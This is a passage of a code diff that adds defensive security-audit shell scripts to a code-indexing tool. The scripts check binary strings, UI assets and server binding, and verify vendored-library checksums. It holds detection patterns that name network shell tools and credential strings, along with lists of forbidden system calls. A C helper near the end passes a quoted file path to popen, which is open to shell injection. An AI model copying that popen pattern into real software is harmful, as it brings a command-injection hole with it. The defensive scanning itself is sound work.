echo "=== NETWORK EGRESS TEST FAILED ==="
echo "Unexpected outbound connections detected. Full strace log:"
grep 'connect(' "$STRACE_LOG" || true
exit 1
fi
echo "=== Network egress test passed ==="
+126
View File
@@ -0,0 +1,126 @@
#!/usr/bin/env bash
set -euo pipefail
# Layer 2: Binary string audit — post-build check on the production binary.
#
# Scans extracted strings for:
# 1. Unauthorized URLs (only github.com + localhost allowed)
# 2. Suspiciously long base64-encoded payloads
# 3. Dangerous command names (wget, nc, netcat, telnet, ssh, /dev/tcp)
# 4. Credential patterns (password=, secret=, api_key=)
#
# Usage: scripts/security-strings.sh <binary-path>
BINARY="${1:?usage: security-strings.sh <binary-path>}"
if [[ ! -f "$BINARY" ]]; then
echo "FAIL: binary not found: $BINARY"
exit 1
fi
FAIL=0
echo "=== Layer 2: Binary String Audit ==="
echo "Binary: $BINARY"
echo ""
# Check for strings command (needs binutils on some MSYS2 setups)
if ! command -v strings &>/dev/null; then
echo "SKIP: 'strings' command not available"
exit 0
fi
# Extract all printable strings (min length 4)
STRINGS_FILE=$(mktemp)
SEC_CMDS=$(mktemp)
SEC_CREDS=$(mktemp)
trap 'rm -f "$STRINGS_FILE" "$SEC_CMDS" "$SEC_CREDS"' EXIT
strings -n 4 "$BINARY" | sort -u > "$STRINGS_FILE"
# ── 1. URL audit ─────────────────────────────────────────────────
echo "--- URL audit ---"
# Allowed URL prefixes
ALLOWED_URLS=(
"https://api.github.com/repos/DeusData/codebase-memory-mcp"
"https://github.com/DeusData/codebase-memory-mcp"
"http://127.0.0.1"
"http://localhost"
# SQLite internal URLs (part of vendored sqlite3 strings)
"https://sqlite.org"
"https://www.sqlite.org"
)
while IFS= read -r url; do
allowed=false
for prefix in "${ALLOWED_URLS[@]}"; do
if [[ "$url" == "$prefix"* ]]; then
allowed=true
break
fi
done
if ! $allowed; then
echo "BLOCKED: Unauthorized URL in binary: $url"
FAIL=1
fi
done < <(grep -oE 'https?://[a-zA-Z0-9._/~:@!$&()*+,;=?#%[-]+' "$STRINGS_FILE" || true)
if [[ $FAIL -eq 0 ]]; then
echo "OK: All URLs are authorized."
fi
# ── 2. Base64 payload detection ──────────────────────────────────
echo ""
echo "--- Base64 payload detection ---"
# Look for base64-like strings longer than 100 chars (potential encoded payloads)
B64_COUNT=$(grep -cE '^[A-Za-z0-9+/]{100,}={0,2}$' "$STRINGS_FILE" || true)
if [[ "$B64_COUNT" -gt 0 ]]; then
echo "WARNING: Found $B64_COUNT potential base64-encoded strings > 100 chars"
grep -E '^[A-Za-z0-9+/]{100,}={0,2}$' "$STRINGS_FILE" | head -5 | while IFS= read -r s; do
echo " ${s:0:80}..."
done
# Warning only — tree-sitter grammar data can look like base64
else
echo "OK: No suspicious base64 payloads found."
fi
# ── 3. Dangerous command detection ───────────────────────────────
echo ""
echo "--- Dangerous command detection ---"
DANGEROUS_CMDS='wget|netcat|ncat|/dev/tcp|telnet'
if grep -wE "$DANGEROUS_CMDS" "$STRINGS_FILE" > "$SEC_CMDS" 2>/dev/null; then
echo "BLOCKED: Dangerous commands found in binary:"
cat "$SEC_CMDS"
FAIL=1
else
echo "OK: No dangerous commands found."
fi
# ── 4. Credential pattern detection ──────────────────────────────
echo ""
echo "--- Credential pattern detection ---"
CRED_PATTERNS='password=|secret=|api_key=|apikey=|auth_token=|private_key='
if grep -iE "$CRED_PATTERNS" "$STRINGS_FILE" > "$SEC_CREDS" 2>/dev/null; then
echo "BLOCKED: Credential patterns found in binary:"
cat "$SEC_CREDS"
FAIL=1
else
echo "OK: No credential patterns found."
fi
# ── Summary ──────────────────────────────────────────────────────
echo ""
if [[ $FAIL -ne 0 ]]; then
echo "=== BINARY STRING AUDIT FAILED ==="
exit 1
fi
echo "=== Binary string audit passed ==="
+189
View File
@@ -0,0 +1,189 @@
#!/usr/bin/env bash
set -euo pipefail
# Layer 6: Graph UI security audit.
#
# Audits:
# A. Frontend asset scan (embedded JS/CSS/HTML or graph-ui/dist/)
# B. HTTP server binding (must be 127.0.0.1 only)
# C. RPC proxy scope (no system()/popen() in HTTP handler path)
# D. CORS check (no wildcard Access-Control-Allow-Origin)
#
# Usage: scripts/security-ui.sh
ROOT="$(cd "$(dirname "$0")/.." && pwd)"
FAIL=0
# Use mktemp for all temp files (cross-platform safe)
SEC_TMPDIR=$(mktemp -d)
trap 'rm -rf "$SEC_TMPDIR"' EXIT
echo "=== Layer 6: Graph UI Security Audit ==="
# ── A. Frontend asset scan ───────────────────────────────────────
echo ""
echo "--- A. Frontend asset scan ---"
# Check both built dist and embedded asset source
UI_DIRS=()
[[ -d "$ROOT/graph-ui/dist" ]] && UI_DIRS+=("$ROOT/graph-ui/dist")
[[ -d "$ROOT/graph-ui/src" ]] && UI_DIRS+=("$ROOT/graph-ui/src")
if [[ ${#UI_DIRS[@]} -eq 0 ]]; then
echo "SKIP: No graph-ui directory found."
else
for UI_DIR in "${UI_DIRS[@]}"; do
echo "Scanning: $UI_DIR"
# A1: No external domains in JS/CSS
echo " Checking for external domains..."
if find "$UI_DIR" -type f \( -name '*.js' -o -name '*.ts' -o -name '*.tsx' -o -name '*.css' \) -exec grep -lE 'https?://' {} \; 2>/dev/null | head -20 > "$SEC_TMPDIR/urls"; then
while IFS= read -r file; do
relfile="${file#"$ROOT/"}"
# Check each URL — only localhost/127.0.0.1 allowed
grep -onE 'https?://[^\s"'"'"')]+' "$file" 2>/dev/null | while IFS=: read -r lineno url; do
case "$url" in
http://localhost*|http://127.0.0.1*|https://localhost*|https://127.0.0.1*)
;; # OK
*)
echo " BLOCKED: ${relfile}:${lineno}: External URL: $url"
touch "$SEC_TMPDIR/fail_flag"
;;
esac
done
done < "$SEC_TMPDIR/urls"
fi
[[ -f "$SEC_TMPDIR/fail_flag" ]] && FAIL=1 && rm -f "$SEC_TMPDIR/fail_flag"
# A2: No external script/link loads in HTML
echo " Checking for external script/link loads..."
if find "$UI_DIR" -type f -name '*.html' -exec grep -lE '<script\s+src=|<link\s+href=' {} \; 2>/dev/null > "$SEC_TMPDIR/scripts"; then
while IFS= read -r file; do
relfile="${file#"$ROOT/"}"
if grep -nE '<script\s+src="https?://|<link\s+href="https?://' "$file" 2>/dev/null | grep -v 'localhost' | grep -v '127.0.0.1'; then
echo " BLOCKED: ${relfile}: External script/link load detected"
FAIL=1
fi
done < "$SEC_TMPDIR/scripts"
fi
# A3: No tracking/analytics
echo " Checking for tracking/analytics..."
TRACKING='google-analytics|gtag|mixpanel|segment\.com|hotjar|sentry\.io|plausible|posthog'
if find "$UI_DIR" -type f \( -name '*.js' -o -name '*.ts' -o -name '*.tsx' -o -name '*.html' \) \
-exec grep -lE "$TRACKING" {} \; 2>/dev/null > "$SEC_TMPDIR/track"; then
while IFS= read -r file; do
relfile="${file#"$ROOT/"}"
echo " BLOCKED: ${relfile}: Tracking/analytics reference found"
grep -nE "$TRACKING" "$file" | head -3
FAIL=1
done < "$SEC_TMPDIR/track"
fi
# A4: No hidden iframes
echo " Checking for iframes..."
if find "$UI_DIR" -type f -name '*.html' -exec grep -li '<iframe' {} \; 2>/dev/null > "$SEC_TMPDIR/iframe"; then
while IFS= read -r file; do
relfile="${file#"$ROOT/"}"
echo " BLOCKED: ${relfile}: iframe detected"
FAIL=1
done < "$SEC_TMPDIR/iframe"
fi
# A5: No eval/Function constructor in JS
echo " Checking for eval/Function constructor..."
if find "$UI_DIR" -type f \( -name '*.js' -o -name '*.ts' -o -name '*.tsx' \) \
-exec grep -nE '\beval\s*\(|new\s+Function\s*\(' {} \; 2>/dev/null | grep -v node_modules | grep -v '\.test\.' > "$SEC_TMPDIR/eval"; then
while IFS= read -r match; do
echo " REVIEW: eval/Function found: $match"
done < "$SEC_TMPDIR/eval"
fi
# A6: No WebSocket to external
echo " Checking for external WebSocket connections..."
if find "$UI_DIR" -type f \( -name '*.js' -o -name '*.ts' -o -name '*.tsx' \) \
-exec grep -nE 'wss?://' {} \; 2>/dev/null | grep -v 'localhost' | grep -v '127.0.0.1' > "$SEC_TMPDIR/ws"; then
while IFS= read -r match; do
echo " BLOCKED: External WebSocket: $match"
FAIL=1
done < "$SEC_TMPDIR/ws"
fi
done
fi
# ── B. HTTP server binding check ─────────────────────────────────
echo ""
echo "--- B. HTTP server binding check ---"
HTTP_SERVER="$ROOT/src/ui/http_server.c"
if [[ -f "$HTTP_SERVER" ]]; then
# Must bind to 127.0.0.1 only
if grep -q '127\.0\.0\.1' "$HTTP_SERVER"; then
echo "OK: Server binds to 127.0.0.1"
else
echo "BLOCKED: No 127.0.0.1 binding found in http_server.c"
FAIL=1
fi
# Must NOT bind to 0.0.0.0 or INADDR_ANY
if grep -E '0\.0\.0\.0|INADDR_ANY|in6addr_any' "$HTTP_SERVER" | grep -v '^\s*//' | grep -v '^\s*\*' > /dev/null 2>&1; then
echo "BLOCKED: Server may bind to all interfaces (0.0.0.0/INADDR_ANY found)"
FAIL=1
else
echo "OK: No 0.0.0.0/INADDR_ANY binding"
fi
else
echo "SKIP: http_server.c not found"
fi
# ── C. RPC proxy scope check ─────────────────────────────────────
echo ""
echo "--- C. RPC proxy scope check ---"
if [[ -f "$HTTP_SERVER" ]]; then
# The HTTP handler should not directly call system()/popen()
# (fork/execl for indexing is allowed as it's tracked)
if grep -n 'system(' "$HTTP_SERVER" | grep -v '^\s*//' | grep -v '^\s*\*' > /dev/null 2>&1; then
echo "BLOCKED: system() call found in HTTP server (use subprocess instead)"
FAIL=1
else
echo "OK: No system() calls in HTTP handler"
fi
else
echo "SKIP: http_server.c not found"
fi
# ── D. CORS check ────────────────────────────────────────────────
echo ""
echo "--- D. CORS check ---"
if [[ -f "$HTTP_SERVER" ]]; then
if grep -E 'Allow-Origin:\s*\*' "$HTTP_SERVER" | grep -v '^\s*//' | grep -v '^\s*\*' > /dev/null 2>&1; then
echo "BLOCKED: CORS wildcard (Access-Control-Allow-Origin: *) found"
echo " This allows any website to access the local server."
FAIL=1
else
echo "OK: No CORS wildcard found"
fi
# Check that CORS reflects localhost origins
if grep -q 'localhost' "$HTTP_SERVER" && grep -q 'update_cors\|Access-Control-Allow-Origin' "$HTTP_SERVER"; then
echo "OK: CORS appears to validate localhost origins"
fi
else
echo "SKIP: http_server.c not found"
fi
# ── Summary ──────────────────────────────────────────────────────
echo ""
if [[ $FAIL -ne 0 ]]; then
echo "=== UI SECURITY AUDIT FAILED ==="
exit 1
fi
echo "=== UI security audit passed ==="
+201
View File
@@ -0,0 +1,201 @@
#!/usr/bin/env bash
set -euo pipefail
# Layer 8: Vendored dependency integrity — verifies vendored C sources match
# checked-in checksums. Detects supply chain tampering of vendored libraries.
#
# Libraries covered: mimalloc, mongoose, sqlite3, tre, xxhash, yyjson
#
# Usage: scripts/security-vendored.sh
ROOT="$(cd "$(dirname "$0")/.." && pwd)"
CHECKSUMS="$ROOT/scripts/vendored-checksums.txt"
if [[ ! -f "$CHECKSUMS" ]]; then
echo "FAIL: checksums file not found: $CHECKSUMS"
exit 1
fi
echo "=== Layer 8: Vendored Dependency Integrity ==="
# Detect shasum command (shasum on macOS, sha256sum on Linux)
if command -v sha256sum &>/dev/null; then
SHA_CMD="sha256sum"
elif command -v shasum &>/dev/null; then
SHA_CMD="shasum -a 256"
else
echo "SKIP: no sha256sum or shasum available"
exit 0
fi
FAIL=0
CHECKED=0
MISSING=0
# Verify each file in the checksums list
while IFS=' ' read -r expected_hash filepath; do
# Skip empty lines
[[ -z "$expected_hash" ]] && continue
# Strip the two-space separator from filepath (sha256sum format: "hash file")
filepath="${filepath#"${filepath%%[![:space:]]*}"}"
full_path="$ROOT/$filepath"
if [[ ! -f "$full_path" ]]; then
echo "MISSING: $filepath"
MISSING=$((MISSING + 1))
continue
fi
actual_hash=$($SHA_CMD "$full_path" | cut -d' ' -f1)
CHECKED=$((CHECKED + 1))
if [[ "$actual_hash" != "$expected_hash" ]]; then
echo "MISMATCH: $filepath"
echo " expected: $expected_hash"
echo " actual: $actual_hash"
FAIL=1
fi
done < "$CHECKSUMS"
# Verify every vendored library directory has checksum coverage.
# If someone adds a new vendored library, this forces them to register it.
echo ""
echo "--- Checking vendored library coverage ---"
while IFS= read -r libdir; do
libname=$(basename "$libdir")
# Check if any file from this library is in the checksums
if ! grep -q "vendored/${libname}/" "$CHECKSUMS" 2>/dev/null; then
echo "BLOCKED: vendored/${libname}/ has NO checksum coverage"
echo " Run: scripts/security-vendored.sh --update"
FAIL=1
fi
done < <(find "$ROOT/vendored" -mindepth 1 -maxdepth 1 -type d | sort)
# Also check for unexpected NEW files in vendored/ that aren't in the checksums
UNEXPECTED=0
while IFS= read -r file; do
relpath="${file#"$ROOT/"}"
if ! grep -q "$relpath" "$CHECKSUMS" 2>/dev/null; then
echo "NEW FILE: $relpath (not in checksums — run 'scripts/security-vendored.sh --update' to add)"
UNEXPECTED=$((UNEXPECTED + 1))
fi
done < <(find "$ROOT/vendored" -type f \( -name '*.c' -o -name '*.h' \) | sort)
echo ""
echo "Checked: $CHECKED files"
[[ $MISSING -gt 0 ]] && echo "Missing: $MISSING files"
[[ $UNEXPECTED -gt 0 ]] && echo "New (untracked): $UNEXPECTED files"
# Handle --update flag: regenerate checksums
# ── Dangerous call scan: vendored code must not contain subprocess calls ───
echo ""
echo "--- Scanning vendored code for dangerous calls ---"
# Subprocess spawning: must not exist in ANY vendored library
SUBPROCESS_FUNCS='[^a-z_]system\(|[^a-z]popen\(|[^a-z_]execl\(|[^a-z_]execv\(|[^a-z_]fork\('
if grep -rn -E "$SUBPROCESS_FUNCS" "$ROOT/vendored/" --include='*.c' --include='*.h' 2>/dev/null \
| grep -v '^\s*//' | grep -v '^\s*\*' | grep -v '#define' | grep -v 'typedef' \
| grep -v 'indicating that a fork' > /dev/null 2>&1; then
echo "BLOCKED: Subprocess calls found in vendored code:"
grep -rn -E "$SUBPROCESS_FUNCS" "$ROOT/vendored/" --include='*.c' --include='*.h' 2>/dev/null \
| grep -v '^\s*//' | grep -v '^\s*\*' | grep -v '#define' | grep -v 'typedef' \
| grep -v 'indicating that a fork' | head -10
FAIL=1
else
echo "OK: No subprocess calls (system/popen/exec/fork) in vendored code"
fi
# Network calls: only allowed in mongoose (HTTP library)
NETWORK_FUNCS='[^a-z_]connect\(|[^a-z_]socket\(|[^a-z_]sendto\(|[^a-z_]bind\('
NON_MONGOOSE_NETWORK=$(grep -rn -E "$NETWORK_FUNCS" "$ROOT/vendored/" --include='*.c' --include='*.h' 2>/dev/null \
| grep -v '^\s*//' | grep -v '^\s*\*' | grep -v '#define' | grep -v 'typedef' \
| grep -v 'mongoose' | grep -v 'sqlite3.*bind()' || true)
if [[ -n "$NON_MONGOOSE_NETWORK" ]]; then
echo "BLOCKED: Network calls found outside mongoose:"
echo "$NON_MONGOOSE_NETWORK" | head -10
FAIL=1
else
echo "OK: Network calls only in mongoose (expected)"
fi
# dlopen/LoadLibrary: only allowed in sqlite3 (extension loading) and mimalloc (Windows APIs)
DYNLOAD_FUNCS='dlopen\(|LoadLibrary\('
NON_SQLITE_DYNLOAD=$(grep -rn -E "$DYNLOAD_FUNCS" "$ROOT/vendored/" --include='*.c' --include='*.h' 2>/dev/null \
| grep -v '^\s*//' | grep -v '^\s*\*' | grep -v '#define' \
| grep -v 'sqlite3' | grep -v 'mimalloc' || true)
if [[ -n "$NON_SQLITE_DYNLOAD" ]]; then
echo "BLOCKED: Dynamic library loading found outside sqlite3:"
echo "$NON_SQLITE_DYNLOAD" | head -10
FAIL=1
else
echo "OK: dlopen/LoadLibrary only in sqlite3 (blocked by authorizer at runtime)"
fi
# Verify the dangerous call rules cover every vendored library.
# Known safe: yyjson, xxhash, tre (pure computation, no OS interaction)
# Known with exceptions: mongoose (network), sqlite3 (dlopen), mimalloc (LoadLibrary)
# If a new library appears, the scan above already checks it — but this ensures
# we've consciously evaluated each library.
KNOWN_VENDORED="mimalloc mongoose sqlite3 tre xxhash yyjson"
while IFS= read -r libdir; do
libname=$(basename "$libdir")
found=false
for known in $KNOWN_VENDORED; do
if [[ "$libname" == "$known" ]]; then
found=true
break
fi
done
if ! $found; then
echo "BLOCKED: vendored/${libname}/ is not in the known vendored library list"
echo " Evaluate it for dangerous calls, then add to KNOWN_VENDORED in this script."
FAIL=1
fi
done < <(find "$ROOT/vendored" -mindepth 1 -maxdepth 1 -type d | sort)
# Also scan tree-sitter grammars (internal/cbm/vendored/) — 650MB, 20M lines.
# Use fast fixed-string grep (-F) for each pattern to avoid slow regex on huge codebase.
if [[ -d "$ROOT/internal/cbm/vendored" ]]; then
GRAMMAR_FAIL=false
for pattern in 'system(' 'popen(' 'execl(' 'execv(' 'fork(' 'connect(' 'socket(' 'sendto(' 'dlopen(' 'LoadLibrary('; do
HITS=$(grep -rl -F "$pattern" "$ROOT/internal/cbm/vendored/" --include='*.c' --include='*.h' 2>/dev/null | head -3 || true)
if [[ -n "$HITS" ]]; then
echo "BLOCKED: '$pattern' found in vendored grammars:"
echo "$HITS" | sed 's|.*/vendored/| vendored/|'
GRAMMAR_FAIL=true
fi
done
if $GRAMMAR_FAIL; then
FAIL=1
else
echo "OK: No dangerous calls in vendored tree-sitter grammars"
fi
fi
if [[ "${1:-}" == "--update" ]]; then
echo ""
echo "Updating checksums..."
find "$ROOT/vendored" -type f \( -name '*.c' -o -name '*.h' \) | sort | while IFS= read -r f; do
$SHA_CMD "$f"
done > "$CHECKSUMS"
echo "Updated: $CHECKSUMS ($(wc -l < "$CHECKSUMS" | tr -d ' ') files)"
exit 0
fi
if [[ $FAIL -ne 0 ]]; then
echo ""
echo "=== VENDORED INTEGRITY CHECK FAILED ==="
echo "A vendored file has been modified. If this is intentional (upgrade),"
echo "run: scripts/security-vendored.sh --update"
exit 1
fi
if [[ $UNEXPECTED -gt 0 ]]; then
echo ""
echo "WARNING: New vendored files not in checksums. Run --update if intentional."
fi
echo ""
echo "=== Vendored integrity check passed ==="
+44
View File
@@ -167,5 +167,49 @@ echo "OK: $FOLDER_COUNT Folder nodes (init.py didn't clobber them)"
# 3e: delete_project cleanup
cli delete_project "{\"project_name\":\"$PROJECT\"}" > /dev/null
echo ""
echo "=== Phase 4: security checks ==="
# 4a: Clean shutdown — binary must exit within 5 seconds after EOF
echo "Testing clean shutdown..."
SHUTDOWN_TMPDIR=$(mktemp -d)
cat > "$SHUTDOWN_TMPDIR/input.jsonl" << 'JSONL'
{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"test","version":"1.0"}}}
JSONL
# Run binary with EOF and check it exits within 5 seconds
timeout 5 "$BINARY" < "$SHUTDOWN_TMPDIR/input.jsonl" > /dev/null 2>&1 || true
EXIT_CODE=$?
rm -rf "$SHUTDOWN_TMPDIR"
if [ "$EXIT_CODE" -eq 124 ]; then
echo "FAIL: binary did not exit within 5 seconds after EOF"
exit 1
fi
echo "OK: clean shutdown"
# 4b: No residual processes (skip on Windows/MSYS2 where pgrep may not work)
if command -v pgrep &>/dev/null && [ "$(uname)" != "MINGW64_NT" ] 2>/dev/null; then
# Give a moment for any child processes to clean up
sleep 1
RESIDUAL=$(pgrep -f "codebase-memory-mcp.*cli" 2>/dev/null | wc -l | tr -d ' \n' || echo "0")
RESIDUAL="${RESIDUAL:-0}"
if [ "$RESIDUAL" -gt 0 ]; then
echo "WARNING: $RESIDUAL residual codebase-memory-mcp process(es) found"
else
echo "OK: no residual processes"
fi
fi
# 4c: Version integrity — output must be exactly one line matching version format
VERSION_OUTPUT=$("$BINARY" --version 2>&1)
VERSION_LINES=$(echo "$VERSION_OUTPUT" | wc -l | tr -d ' ')
if [ "$VERSION_LINES" -ne 1 ]; then
echo "FAIL: --version output has $VERSION_LINES lines, expected exactly 1"
echo " Output: $VERSION_OUTPUT"
exit 1
fi
echo "OK: version output is clean single line"
echo ""
echo "=== smoke-test: ALL PASSED ==="
+72
View File
@@ -0,0 +1,72 @@
dd4f25cae53209d45d73f8e6a2b9c219e8fc7434d97f20eba9af1a8b850030fd vendored/mimalloc/include/mimalloc-new-delete.h
243db1b073ce985873545b746288546efb8ccadeb9860e674a7f0f701af8bac9 vendored/mimalloc/include/mimalloc-override.h
15a9240f3cf574858b9a05c88c29a559f3913f2385918d63524982a0f03de62b vendored/mimalloc/include/mimalloc.h
67eb1fcedb6059463c75a8d1d2e5724a13a13e113f9ddab0c6cb7f5371c0dc87 vendored/mimalloc/include/mimalloc/atomic.h
bfe48c560b1cbad9a1da1218c8c0c6ed6559a2387771371a7390c5961d096631 vendored/mimalloc/include/mimalloc/internal.h
b7f329eb3343ad9259beb381d9b71c68cfc10e771df7bc726485ba980e968e3b vendored/mimalloc/include/mimalloc/prim.h
083c3feca95d618eabbee83e72f9158fbfcf20c37d67e8625a19089b5a350be5 vendored/mimalloc/include/mimalloc/track.h
e6577e6e28124a0df3f5fd589489c8b3424ed53c8bec4e4a42b1fe0f3b292c25 vendored/mimalloc/include/mimalloc/types.h
206e0193fec0cdc1e3027659d3b36f84672ea493d312ac298b30106495beb5d9 vendored/mimalloc/src/alloc-aligned.c
0a14958fcab825b4870d1885dc9ee149e6e9f0c617ecec67c9347f831acf2be8 vendored/mimalloc/src/alloc-override.c
4110c34bbd3f212055354cca73303acc773f383a84e37e8db9d4df95338e374d vendored/mimalloc/src/alloc-posix.c
a6f8186fef5272c5333e1e3d9b6e12a1cb22269374410b2770bd5867ea0e96f6 vendored/mimalloc/src/alloc.c
9a663611e9c73e42f73bbd42ea4c7869099b8e34c7a5968e27b373af8db1e951 vendored/mimalloc/src/arena-abandon.c
238b13f00581c39826986e2da93c7f175580a4b32373fa8992bbd72a52e0479d vendored/mimalloc/src/arena.c
45c866e23dff9dc0e0b5a73de5082a8bf21d8f2b1f38344fda354c4c8a630021 vendored/mimalloc/src/bitmap.c
0e5f497d34ba79648b07696280abb9a3f6c667a5e7c2fbe56bc2860085ed3511 vendored/mimalloc/src/bitmap.h
2849de90c9d9de2f20f485b969bffe292ce3fc715319672ece1c26e941683d50 vendored/mimalloc/src/free.c
65b18cb18ff379f0cb2a21efb86f09362c6e5f4dda090ef490e6c3e5feac2522 vendored/mimalloc/src/heap.c
0654539e5191164bfec3a079b2e7f75dbf68c741c5281455a15b065447c3d5d8 vendored/mimalloc/src/init.c
3890196791bb6bacab93f3c09791ef9faa128d8be226b701ff72eb9bbe3cf697 vendored/mimalloc/src/libc.c
b1f9cab7a0d877df83e290a01927743867e5af2c8d0131fd2af76480dbd739e0 vendored/mimalloc/src/options.c
8108e9d5a3866f010a6156cc2d9c2a05422ae71027577aeb9a31d482bb169554 vendored/mimalloc/src/os.c
4a0825b78d6cb5c0e2cfc99976970abeb7cab7fd42cedb3e4ec99c66ac4e509b vendored/mimalloc/src/page-queue.c
9c03e82ac457d8505cd7422d8fde7ae63f487394774d4df1186409cfe20f960b vendored/mimalloc/src/page.c
db6674012486b6b0e0c3e8a203f554dbb5d1d3d488435bc42fdd7c5544fc9015 vendored/mimalloc/src/prim/emscripten/prim.c
4702cac8b0e0deb047a467c1a1e48e0e1c95a1b906669abc07e780bbc2485184 vendored/mimalloc/src/prim/osx/alloc-override-zone.c
247a9952465eb105be03a9962e922b085ce5d52034775551a61cd8594275be73 vendored/mimalloc/src/prim/osx/prim.c
20dee6b4ade94866cbe9210deeff47e1f3e957274c2ff5b2669f72826def10c9 vendored/mimalloc/src/prim/prim.c
50ed4d4bb9e3e62d498bb788a613fbffe9e04953b86c4d3e7580374747abfa3e vendored/mimalloc/src/prim/unix/prim.c
8f6c898c0c87eed7c43188373d12bffa17090374934b6485bbdc0cbe9e762f7d vendored/mimalloc/src/prim/wasi/prim.c
4f3110ef2054c95cb275be96cb279224d3d46a728c5117bd1435425f382de778 vendored/mimalloc/src/prim/windows/etw.h
15443bb714baa78db2e3eb1cc689e0ffd4922da8858a948ddd15cac3ae3cd5f9 vendored/mimalloc/src/prim/windows/prim.c
d642a722e93e6e5f2fb49881fefda72ab05d0d43838ec727871e82e6a684f6cd vendored/mimalloc/src/random.c
bc8fa65020cc2c1ad4d526cbb76499b263cf7d5935eade4a259e8040f61d98bb vendored/mimalloc/src/segment-map.c
a5ff1ef3193d150d25d22ed634f4c1aa78702769163ad7739ec0e37b863cc7c2 vendored/mimalloc/src/segment.c
81e27487e494d2b32cb16a2605d61ee64fe3a71c409d5be3a673950ff769bd73 vendored/mimalloc/src/static.c
048c9a3ab9adf91de450da47b9de296bffdee3ac5602601604fa3f6f24998790 vendored/mimalloc/src/stats.c
c58e03d44973ee5174bb30034f3c8898b361d63e65db5e31c00434c064e26f2e vendored/mongoose/mongoose.c
f8f5f0a1fb7d9930670cd47d50787531ebbeb5097a309e22bc28512379709a75 vendored/mongoose/mongoose.h
ff80c36ef1bb44eb357c7ff1d15be77540d41c28fb671088215a6cd12785c5d3 vendored/sqlite3/sqlite3.c
88da6f1963bc192dfa18a3a48b423cf1fbbb04f903202efe9a78e3a597473e18 vendored/sqlite3/sqlite3.h
b184dd1586d935133d37ad76fa353faf0a1021ff2fdedeedcc3498fff74bbb94 vendored/sqlite3/sqlite3ext.h
7efd127c0fc4fe26a07684345cce9287762346abeab665e2fe72711c6fc118bd vendored/tre/regcomp.c
eab23b8e79ee90f78e8495de64519afb61b627e062804fd4a622784e052a85fa vendored/tre/regerror.c
26b0f550d491335cdaa3fecfe49213d68466befdf648ed281ccdaa631ea6d4f9 vendored/tre/regex.h
fd6fe2789439d3d28140c27edfe6bcdde1d1c737cab4bd27b1287d3e759fa82d vendored/tre/regexec.c
90f76dce41eade7e28c3477d8b45acb8d2ccbc6d4aaba0bb93f0d5ec5b160820 vendored/tre/tre_all.c
e98c7732fdbb35ec182edfe043743d7e6b4ad7bcf57b815ec9f37f0d1065a062 vendored/tre/tre-ast.c
f5d0374597a42f4bf0e7a80001a68bae9ea2622b80f760d8005200fd20acaf0f vendored/tre/tre-ast.h
45407a83ef0151a977cb7f8a5275b2a9831ae570d6f27a43723c8da1e76c0261 vendored/tre/tre-compile.c
924c8b9aa6a261d8b86f1b0b3b575adc5274e135fefcd4193497445e5fc6245a vendored/tre/tre-compile.h
6d803fb5dd3cdb8af353936869d92f7b6e25644c7fb3a26280d24fc4451db7d2 vendored/tre/tre-config.h
d463e509cdc7eda5154d29c75791ccd58eff5d6f4345344829517f62ddb606e1 vendored/tre/tre-filter.c
aabcc5902193f76e457deffa1b3cf2c3b63d39489e6da5fc3f16bb26e83dc067 vendored/tre/tre-filter.h
1a8213c2db148aee2f10bd064e864294dd9d6f9085886903cf337f8f7c3b01b8 vendored/tre/tre-internal.h
2fcb1bbadc845bc32b73b2882bb7f1988f7fdb183b8349750e5f20b29b6223da vendored/tre/tre-match-approx.c
80a0b950fc1c34773d49fcec0f78a3b7de7c893852dcfc83f7eece3ebe262afa vendored/tre/tre-match-backtrack.c
446bf71b5c22ee432dc42705c63abcda8eaebeafecc811d682b658b8d18e68f1 vendored/tre/tre-match-parallel.c
3f726919232c0311daa533fbaff6bdcc3746817b48672c6ed95a6e160c2877f1 vendored/tre/tre-match-utils.h
1645537ca85eefe543da3187b3d1a65bf796ae0a0576545457b56fb63fc13c67 vendored/tre/tre-mem.c
6ae203e4ff329bbc15bd48004f0b5ac0804fe95b1557883d6840949e75f2018b vendored/tre/tre-mem.h
a04e1bea47aff5d858460c1d08aac6ed3a3c8ee285500281dd3147ff0621095e vendored/tre/tre-parse.c
29d69be4d03e723e4b99e9887774970f7e62176aed3369faacd34b955ffb509f vendored/tre/tre-parse.h
4c9af903178f5f7030962b5708d4e656f8b060e795852e1eee883696b682849d vendored/tre/tre-stack.c
aabe11f1b7c6c627dc9cfb62cfb9565ac9ebdf2c51c2d55c5320af5db76c5e3b vendored/tre/tre-stack.h
1c2d81474d2b59b7a39f5b1592473adfb4109fad99156588088f2ccc56c654ab vendored/tre/tre.h
9632e5eeb20e3d328f8def0efb2e8230f5b5cb7d9f2e5680ad89caf065f8b3a6 vendored/tre/xmalloc.c
22aee25e6892e97719ec4a5fad91345cd2145722ebbd3ec31397aff68108e3e6 vendored/tre/xmalloc.h
5c3591fe6e6c86a619eb26760e9520e37a6fd5152882ab5ad93f912e2a855966 vendored/xxhash/xxhash.c
86d0d813745821bbccf0be6d67356846f138e5c20164c52c24fade1419afdf7d vendored/xxhash/xxhash.h
1da0205abb1a27c27db397b7f8a475abc0af58963af9a88fc807a6c4fa7a8d51 vendored/yyjson/yyjson.c
b2bd3aec324a0d6bc67196f647c966870e783c2e3944684f10db26b2c04b773f vendored/yyjson/yyjson.h
+120
View File
@@ -1951,6 +1951,106 @@ static bool prompt_yn(const char *question) {
return (buf[0] == 'y' || buf[0] == 'Y') ? true : false;
}
/* ── SHA-256 checksum verification ─────────────────────────────── */
/* SHA-256 hex digest: 64 hex chars + NUL */
#define SHA256_HEX_LEN 64
#define SHA256_BUF_SIZE (SHA256_HEX_LEN + 1)
/* Minimum line length in checksums.txt: 64 hex + 2 spaces + 1 char filename */
#define CHECKSUM_LINE_MIN (SHA256_HEX_LEN + 2)
/* Compute SHA-256 of a file using platform tools (sha256sum/shasum).
* Writes 64-char hex digest + NUL to out. Returns 0 on success. */
static int sha256_file(const char *path, char *out, size_t out_size) {
if (out_size < SHA256_BUF_SIZE) {
return -1;
}
char cmd[1024];
#ifdef __APPLE__
snprintf(cmd, sizeof(cmd), "shasum -a 256 '%s' 2>/dev/null", path);
#else
snprintf(cmd, sizeof(cmd), "sha256sum '%s' 2>/dev/null", path);
#endif
// NOLINTNEXTLINE(bugprone-command-processor,cert-env33-c)
FILE *fp = cbm_popen(cmd, "r");
if (!fp) {
return -1;
}
char line[256];
if (fgets(line, sizeof(line), fp)) {
/* Output format: <64-char hash> <filename> */
char *space = strchr(line, ' ');
